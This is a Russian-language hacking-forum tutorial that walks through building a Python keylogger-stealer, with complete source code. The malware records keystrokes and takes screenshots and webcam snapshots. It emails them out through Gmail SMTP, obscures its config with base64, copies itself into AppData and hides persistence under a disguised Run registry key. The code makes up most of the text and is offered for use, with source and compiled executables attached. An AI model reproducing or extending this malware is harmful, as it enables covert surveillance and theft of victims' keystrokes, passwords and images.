Салют, исследователи темной стороны интернета!
Несколько дней готовил для тебя очень вкусную статью, на основе нашего keylogger модуля, который выполняет задачи полноценного стиллера. Кушать подано, приятного аппетита!
Описание полноценного кейлоггера:
Как видите, функционал keylogger'а напоминает (s)AINT, однако, как бы нескромно ни звучало, заметил пару отличительных от (s)AINT моментов в реализации:
К минусу (в сравнении с (s)aint) относится конечный размер exe файла - 33 мб для версии со скриншотом и вебкамерой.
Для написания полноценного кейлогера будем использовать раннее написанные модули:
Опишем основные функции для работы с модулем кейлоггера:
Выполнив код, и постучав по клавиатуре, получил письмо с пустым содержанием, с архивом логов и скрином. (web-камеры нет + virtual os)
Добавим к тексту сообщения содержание simple_log'ов:
Конфигурацию нельзя хранить в открытом виде(в данном проете точно), поэтому их либо можно держать в коде, и тогда при компиляции они будут скрыты в exe, а можно держать конфиги в зашифрованном виде, для возможности смены настроек на лету.
Основные функции:
Добавив интерфейс по работе из командной строкой, получим модуль:
Например:
Теперь дополним модуль additional методами копирования файла в appdata\local, и добавление файла в автозагрузку (в реестр):
Оформив все наработки в класс, получим:
Вот так мы написали стиллер, собирающий нажатия клавиш, скриншот и снимок с веб-камеры, который может потягаться с известным стиллером (s)AINT (java).
Прикрепляю все полученные файлы:
Несколько дней готовил для тебя очень вкусную статью, на основе нашего keylogger модуля, который выполняет задачи полноценного стиллера. Кушать подано, приятного аппетита!
Описание полноценного кейлоггера:
- Отправка данных по электронной почте
- Прикрепление к письму скриншота и снимка с веб-камеры.
- Два режима сбора данных:
- отправка каждые limit клавиш и
- отправка собранных данных при запуске программы.
- Шифрование конфигурации
- Копирование exe и конфигурации в папку appdata\local
- Добавление программы в автозагрузку
Как видите, функционал keylogger'а напоминает (s)AINT, однако, как бы нескромно ни звучало, заметил пару отличительных от (s)AINT моментов в реализации:
- Если в тему письма входит подстрока 'node_os', то в почтовом клиенте удобно проводить мониторинг входящих, если кейлоггер используется на нескольких машинах.
- Легкая возможность масштабирования проекта - дополнительные модули прописывать в FullKeyLogger.__init__, загрузка конфигурации(если требуется) - FullKeyLogger.load_config
К минусу (в сравнении с (s)aint) относится конечный размер exe файла - 33 мб для версии со скриншотом и вебкамерой.
Для написания полноценного кейлогера будем использовать раннее написанные модули:
- keylogger
- module_manager (webcam, screenshot)
Опишем основные функции для работы с модулем кейлоггера:
pip install keyboard opencv-python pillow
Python:
import os
import re
from additional import make_zip
from keylogger import key_logger_manager
from mail import mail_manager
from module_manager import webcam_manager, screenshot_manager
# упаковка логов и запуск модулей (вебкам, скриншот, отправка сообщения)
def collect_and_send():
# Упаковываем созданные логи
collect_logs(get_old_files(key_config['filename'], key_config['replace_part']), key_config['archive_log'])
# Если упаковалось, то
if os.path.exists(key_config['archive_log']):
try:
# снимок с вебкамеры
webcam_manager(webcam_config)
except:
# игнорирование отсутствия библиотеки
pass
# делаем скрин и отсылку сообщения
screenshot_manager(screenshot_config)
mail_manager(mail_config)
# получаем список файлов для упаковки
def get_old_files(filename, replace_part):
# задаем шаблон для подходящих файлов
re_filename = rf"{os.path.basename(filename).replace(replace_part, '(.{1,3})')}"
dir_logs = os.path.abspath(os.path.dirname(filename))
# если папка существует,
if os.path.exists(dir_logs):
# то упаковываем
return [os.path.join(dir_logs, file) for file in os.listdir(dir_logs) if re.fullmatch(re_filename, file)]
return None
# упаковка логов из [files] в archive_log файл.
def collect_logs(files, archive_log):
if files:
make_zip(files=files, filename=archive_log)
# удаление всех упакованных файлов
for file in files:
try:
os.remove(file)
except:
pass
# Менеджер для full кейлоггера
def full_keylogger_manager():
on_save = None
# если режим отправки при запуске,
if key_config['mode'] == 'launch':
# то упаковываем и отправляем
collect_and_send()
# если режим отправки каждой части
elif key_config['mode'] == 'every_part':
# то назначаем событие упаковки-отправки на on_save
on_save = collect_and_send
# запускаем кейлогер с триггером на сохранение (None, collect_and_send)
key_logger_manager(key_config, on_save)
if __name__ == '__main__':
# archive_log - путь сохранения архива с логом
# mode - every_part/launch режим сохранения логов
key_config = {
"filename": "key_logs\\keylogger_num.json",
"replace_part": "num",
"limit": 100,
"archive_log": "result\\log.zip",
"mode": "every_part",
}
webcam_config = {"filename": "result\\cam.png"}
screenshot_config = {"filename": "result\\screenshot.png"}
mail_config = {
"config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
"login_data": {"login": "", "password": ""},
"mail": {"from": "", "to": "", "subject": "[node_os]", "message": "",
"attach": ["result\\log.zip", "result\\screenshot.png", "result\\cam.png"]}}
try:
full_keylogger_manager()
except:
pass
Выполнив код, и постучав по клавиатуре, получил письмо с пустым содержанием, с архивом логов и скрином. (web-камеры нет + virtual os)
Добавим к тексту сообщения содержание simple_log'ов:
Python:
def prepare_message():
message = ''
# для файлов, сохраняемым в функции simple_log
for filename in [key_config['filename'], key_config['filename'].replace(key_config['replace_part'], 'alt')]:
with open(filename, 'r') as simple_file:
message = f'{message}\n{"-" * 25}\n{simple_file.read()}'
mail_config['mail']['message'] = message
Конфигурацию нельзя хранить в открытом виде(в данном проете точно), поэтому их либо можно держать в коде, и тогда при компиляции они будут скрыты в exe, а можно держать конфиги в зашифрованном виде, для возможности смены настроек на лету.
Основные функции:
Python:
import base64
# зашифровать
crypt_config = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
# расшифровать
config = json.loads(base64.b64decode(crypt_config))
# добавим функции для шифровки и расшифровки конфигов
def decode_config(in_filename=None, crypt_config=None):
if in_filename:
with open(in_filename, 'rb') as crypt_file:
crypt_config = crypt_file.read()
return json.loads(base64.b64decode(crypt_config))
def encode_config(config, out_filename=None):
encoded = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
if out_filename:
with open(out_filename, 'wb') as crypt_file:
crypt_file.write(encoded)
Добавив интерфейс по работе из командной строкой, получим модуль:
Код:
import base64
import json
import sys
DEFAULT_CRYPT_NAME = 'config.crypt'
DEFAULT_DECRYPT_NAME = 'config.json'
def decode_config(in_filename=None, crypt_config=None):
if in_filename:
with open(in_filename, 'rb') as crypt_file:
crypt_config = crypt_file.read()
return json.loads(base64.b64decode(crypt_config))
def encode_config(config, out_filename=None):
encoded = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
if out_filename:
with open(out_filename, 'wb') as crypt_file:
crypt_file.write(encoded)
def get_args():
args = sys.argv[1:]
if len(args) >= 3:
mode, in_filename, out_filename = args[0], args[1], args[2]
elif len(args) == 2:
mode, in_filename = args[0], args[1]
mode_set = {'encode': DEFAULT_CRYPT_NAME, 'decode': DEFAULT_DECRYPT_NAME}
if mode in mode_set:
out_filename = mode_set[mode]
else:
raise ValueError('Неизвестный режим')
else:
raise SyntaxError('Недостаточно данных')
return mode, in_filename, out_filename
def base64_engine(mode, in_filename, out_filename):
if mode == 'encode':
with open(in_filename, 'r') as config_file:
config = json.load(config_file)
encode_config(config, out_filename)
elif mode == 'decode':
config = decode_config(in_filename)
with open(out_filename, 'w') as config_file:
json.dump(config, config_file)
def execute_from_args():
try:
mode, in_filename, out_filename = get_args()
base64_engine(mode, in_filename, out_filename)
except Exception as e:
print(e)
if __name__ == '__main__':
execute_from_args()
python config_encoder.py mode in_file out_file
Например:
python config_encoder.py encode config.json
- шифровкаpython config_encoder.py decode config.crypt
- расшифровкаТеперь дополним модуль additional методами копирования файла в appdata\local, и добавление файла в автозагрузку (в реестр):
Код:
from winreg import OpenKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, SetValueEx, REG_SZ, CloseKey
def copy_to_local(filename, path=None):
# Формируем путь к папке local
target_path = os.path.join(os.path.expanduser('~'), 'appdata', 'Local')
# если путь задан, то дополняем путь
if path:
target_path = os.path.join(target_path, path)
# имя файла в который копировать
target_file = os.path.join(target_path, os.path.basename(filename))
make_folders(target_file)
# копируем
shutil.copy(filename, target_file)
return target_file
def add_autorun(name, path):
# Открываем ключ в нужном разделе
key = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
# задаем значение
SetValueEx(key, name, 0, REG_SZ, path)
# закрываем ключ
CloseKey(key)
Оформив все наработки в класс, получим:
Код:
import os
import re
import sys
from additional import make_zip, add_autorun, copy_to_local
from config_encoder import decode_config
from error_log import ErrorLog
from keylogger import key_logger_manager
from mail import mail_manager
from module_manager import screenshot_manager, webcam_manager
# имя для конфигурации
DEFAULT_CONFIG_NAME = 'config.crypt'
class FullKeyLogger:
# при инициализации принимаем общий конфиг
def __init__(self, global_config):
self.error_log = ErrorLog()
# разделяем конфиги
self.key_config, self.mail_config, self.screen_config, self.webcam_config, self.autorun_config = \
self.load_config(global_config, ['keylogger', 'mail', 'screenshot', 'webcam', 'autorun'])
# сопоставляем конфиги и менеджеры
self.module_set = [(self.screen_config, screenshot_manager), (self.webcam_config, webcam_manager),
(self.mail_config, mail_manager)]
self.add_to_autorun()
# добавление кейлоггера в автозапуск
def add_to_autorun(self):
try:
if self.autorun_config['use']:
# копирование файла конфига в локал
copy_to_local(DEFAULT_CONFIG_NAME, self.autorun_config['name'])
# добавление в автозапуск скопированного в локал exe
add_autorun(self.autorun_config['name'],
copy_to_local(os.path.abspath(sys.argv[0]), self.autorun_config['name']))
except Exception as e:
self.error_log.add('Keylogger - (add to autorun)', e)
# функция разделения конфигов
@staticmethod
def load_config(global_config, modules):
configs = {}
for config in modules:
try:
# для каждого модуля запоминаем свой конфиг
configs[config] = global_config[config]
except:
configs[config] = None
return configs['keylogger'], configs['mail'], configs['screenshot'], configs['webcam'], configs['autorun']
@staticmethod
def get_old_files(filename, replace_part):
re_filename = rf"{os.path.basename(filename).replace(replace_part, '(.{1,3})')}"
dir_logs = os.path.abspath(os.path.dirname(filename))
if os.path.exists(dir_logs):
return [os.path.join(dir_logs, file) for file in os.listdir(dir_logs) if re.fullmatch(re_filename, file)]
return None
@staticmethod
def collect_logs(files, archive_log):
if files:
make_zip(files=files, filename=archive_log)
for file in files:
try:
os.remove(file)
except:
pass
def execute_modules(self):
for module in self.module_set:
try:
if module[0]['use']:
module[1](module[0])
except Exception as e:
self.error_log.add('Keylogger - (execute module)', e)
def collect_and_send(self):
try:
self.prepare_message()
self.collect_logs(self.get_old_files(self.key_config['filename'], self.key_config['replace_part']),
self.key_config['archive_log'])
if os.path.exists(self.key_config['archive_log']):
self.execute_modules()
except Exception as e:
self.error_log.add('Keylogger - (collect and send)', e)
self.error_log.save_log(self.key_config['error_log'])
def prepare_message(self):
try:
message = ''
for filename in [self.key_config['filename'],
self.key_config['filename'].replace(self.key_config['replace_part'], 'alt')]:
try:
with open(filename, 'r') as simple_file:
message = f'{message}\n{"-" * 25}\n{simple_file.read()}'
except:
pass
self.mail_config['mail']['message'] = message
except Exception as e:
self.error_log.add('Keylogger - (prepare message)', e)
def start(self):
on_save = None
if self.key_config['mode'] == 'launch':
self.collect_and_send()
elif self.key_config['mode'] == 'every_part':
on_save = self.collect_and_send
key_logger_manager(self.key_config, on_save)
def full_key_logger_manager():
key_logger = FullKeyLogger(decode_config(DEFAULT_CONFIG_NAME))
key_logger.start()
if __name__ == '__main__':
try:
full_key_logger_manager()
except:
pass
измените модуль кейколлекшн -> закомментируйте тело метода stop(замените на pass)
Пример расшифрованного конфига:
Либо запустите файл make_config.bat из архива full_keylogger_exe
Код:
{
"keylogger": {
"filename": "key_logs\\keylogger_num.json", "replace_part": "num", "limit": 100,
"archive_log": "result\\log.zip", "mode": "every_part", "error_log": "errors.log"},
"autorun": {"use": true, "name": "keylogger"},
"screenshot": {"use": true, "filename": "result\\screenshot.png"},
"webcam": {"use": true, "filename": "result\\cam.png"},
"mail": {
"use": true,
"config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
"login_data": {"login": "", "password": ""},
"mail": {
"from": "", "to": "", "subject": "[node_os]", "message": "",
"attach": ["result\\log.zip", "result\\screenshot.png", "result\\cam.png"]}
}
}
- Введите свои почтовые данные,
- В mail->mail->attach не забудьте указать все файлы для прикрепления
- Укажите keylogger->mode = (every_part/launch) - режим отправки данных каждой части или при запуске
- Поменяйте (если требуется) autorun->name на ожидаемый ключ в реестре(например, securelib, и тд)
- Для отключения дополнительного модуля, поменяйте значение 'use' на false.
- Зашифруйте конфигурацию в файл DEFAULT_CONFIG_NAME.
python config_encode.py encode config.json config.crypt
Либо запустите файл make_config.bat из архива full_keylogger_exe
Вот так мы написали стиллер, собирающий нажатия клавиш, скриншот и снимок с веб-камеры, который может потягаться с известным стиллером (s)AINT (java).
Прикрепляю все полученные файлы:
- full_keylogger_source - исходные коды
- full_keylogger_exe (две части) - исполняемый файл стиллера, шаблон с конфигурацией(json), encoder.exe
Вложения
Последнее редактирование: